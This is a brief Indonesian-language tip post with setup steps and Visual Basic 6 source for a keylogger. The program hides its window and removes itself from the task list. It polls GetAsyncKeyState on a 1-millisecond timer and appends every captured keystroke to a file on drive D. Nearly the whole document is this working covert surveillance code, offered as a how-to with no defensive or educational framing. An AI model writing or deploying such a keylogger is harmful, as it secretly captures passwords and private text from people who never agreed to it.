TipsTrikSmall

-buat form dengan visible false
-masukan textbox
-masukan timer dengan interval=1 dan enable=true
-pada project reference centanglah microsoft scripting runtime

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub timer1_timer()
App.TaskVisible = False
Dim keys As Integer
Dim fso As New FileSystemObject
Dim tf As TextStream
For i = 28 To 128
keys = 0
keys = GetAsyncKeyState(i)
If keys = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Set tf = fso.OpenTextFile("D:\keylog.dat" & txtname & ".txt", ForAppending, True)
tf.Write (Me.Text1)
tf.Close
Text1.Text = Clear
Next i

End Sub